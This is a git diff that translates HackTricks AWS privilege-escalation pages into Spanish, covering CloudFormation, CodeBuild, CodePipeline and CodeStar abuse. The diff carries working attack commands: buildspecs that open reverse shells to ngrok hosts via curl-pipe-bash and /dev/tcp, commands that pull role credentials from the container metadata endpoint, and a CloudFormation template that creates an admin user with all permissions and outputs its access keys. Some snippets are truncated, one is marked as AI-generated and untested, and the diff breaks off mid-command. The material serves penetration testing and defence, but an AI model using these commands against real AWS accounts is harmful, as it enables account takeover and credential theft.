a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Para más información sobre cloudformation, consulta: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Un atacante con estos permisos **puede escalar privilegios** al crear un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +En la siguiente página tienes un **ejemplo de explotación** con el permiso adicional **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Impacto Potencial:** Privesc al rol de servicio de cloudformation especificado. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +En este caso puedes **abusar de una pila de cloudformation existente** para actualizarla y escalar privilegios como en el escenario anterior: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Impacto Potencial:** Privesc al rol de servicio de cloudformation especificado. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Si tienes este permiso pero **sin `iam:PassRole`** aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Impacto Potencial:** Privesc al rol de servicio de cloudformation ya adjunto. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation abusando de los roles de servicio de cloudformation** al igual que con el CreateStack o UpdateStack. +La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila. ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +La permiso `cloudformation:SetStackPolicy` se puede usar para **darte permisos de `ChangeSet`** sobre una pila y realizar el ataque. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Impacto Potencial:** Privesc a roles de servicio de cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los ya adjuntos**, solo modifica el parámetro: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Impacto Potencial:** Privesc al rol de servicio de cloudformation ya adjunto. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Un atacante podría abusar de estos permisos para crear/actualizar StackSets para abusar de roles de cloudformation arbitrarios. -**Potential Impact:** Privesc to cloudformation service roles. +**Impacto Potencial:** Privesc a los roles de servicio de cloudformation. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Un atacante podría abusar de este permiso sin el permiso passRole para actualizar StackSets y abusar de los roles de cloudformation adjuntos. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Impacto Potencial:** Privesc a los roles de cloudformation adjuntos. -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..bf5e4a93f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -1,85 +1,75 @@ -# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks +# iam:PassRole, cloudformation:CreateStack,y cloudformation:DescribeStacks {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Un atacante podría, por ejemplo, usar una **plantilla de cloudformation** que genera **claves para un usuario admin** como: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Luego **genera la pila de cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Espera un par de minutos** para que se genere la pila y luego **obtén la salida** de la pila donde se **almacenan las credenciales**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - -### References +### Referencias - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..71ac92c33 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Obtén más información en: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Solo con uno de estos permisos es suficiente para activar una construcción con un nuevo buildspec y robar el token del rol iam asignado al proyecto: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Nota**: La diferencia entre estos dos comandos es que: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` activa un trabajo de construcción único utilizando un `buildspec.yml` específico. +- `StartBuildBatch` te permite iniciar un lote de construcciones, con configuraciones más complejas (como ejecutar múltiples construcciones en paralelo). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc directo a los roles de AWS Codebuild adjuntos. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +Un atacante con los permisos **`iam:PassRole`, `codebuild:CreateProject` y `codebuild:StartBuild` o `codebuild:StartBuildBatch`** podría **escalar privilegios a cualquier rol IAM de codebuild** creando uno en ejecución. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Ejemplo2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Impacto Potencial:** Privesc directo a cualquier rol de AWS Codebuild. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> En un **contenedor de Codebuild**, el archivo `/codebuild/output/tmp/env.sh` contiene todas las variables de entorno necesarias para acceder a las **credenciales de metadatos**. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Este archivo contiene la **variable de entorno `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contiene la **ruta URL** para acceder a las credenciales. Será algo como esto `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Agrega eso a la URL **`http://169.254.170.2/`** y podrás volcar las credenciales del rol. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Además, también contiene la **variable de entorno `ECS_CONTAINER_METADATA_URI`** que contiene la URL completa para obtener **información de metadatos sobre el contenedor**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Al igual que en la sección anterior, si en lugar de crear un proyecto de construcción puedes modificarlo, puedes indicar el Rol IAM y robar el token. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Impacto Potencial:** Privesc directo a cualquier rol de AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Al igual que en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc directo a los roles de AWS Codebuild adjuntos. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +Teniendo **suficientes permisos para iniciar una sesión ssm** es posible **entrar en un proyecto de Codebuild** que se está construyendo. -The codebuild project will need to have a breakpoint: +El proyecto de codebuild necesitará tener un punto de interrupción:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entró en la fase pre_build...
+- echo "Hola Mundo" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +Y luego: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Para más información [**consulta la documentación**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild. +Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Puedes usar algo como esto **buildspec** para obtener un **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir. -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc directo a los roles de AWS Codebuild adjuntos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..6f4e9a216 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Para más información sobre codepipeline, consulta: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +Al crear un pipeline de código, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Aparte de los permisos anteriores, necesitarías **acceso al lugar donde se almacena el código** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un pipeline de código, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +Durante la **creación del proyecto de construcción**, puedes indicar un **comando para ejecutar** (¿rev shell?) y ejecutar la fase de construcción como **usuario privilegiado**, esa es la configuración que el atacante necesita para comprometer: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Podría ser posible modificar el rol utilizado y el comando ejecutado en un pipeline de código con los permisos anteriores. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS menciona](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Cuando se llama a esta API, CodePipeline **devuelve credenciales temporales para el bucket S3** utilizado para almacenar artefactos para el pipeline, si la acción requiere acceso a ese bucket S3 para artefactos de entrada o salida. Esta API también **devuelve cualquier valor secreto definido para la acción**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..a042e9ce4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Puedes encontrar más información sobre codestar en: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +Con estos permisos puedes **abusar de un rol IAM de codestar** para realizar **acciones arbitrarias** a través de una **plantilla de cloudformation**. Consulta la siguiente página: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Esta técnica utiliza `codestar:CreateProject` para crear un proyecto de codestar, y `codestar:AssociateTeamMember` para hacer que un usuario IAM sea el **propietario** de un nuevo **proyecto** de CodeStar, lo que les otorgará una **nueva política con algunos permisos adicionales**. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - 